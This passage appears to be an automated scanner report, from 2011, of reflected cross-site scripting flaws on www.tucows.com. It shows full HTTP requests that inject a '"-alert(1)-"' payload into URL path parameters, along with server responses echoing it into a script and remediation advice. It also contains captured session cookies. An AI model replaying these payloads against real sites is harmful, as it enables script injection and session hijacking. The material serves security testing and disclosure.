GET /images/newassets/includes56eb6"-alert(1)-"cf82ccc0327/js/aalib.js HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:37 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22c99"-alert(1)-"55fa4663456 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/js22c99"-alert(1)-"55fa4663456/aalib.js HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:48 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 51c02"-alert(1)-"c3378b8f5df was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/js/aalib.js51c02"-alert(1)-"c3378b8f5df HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Conn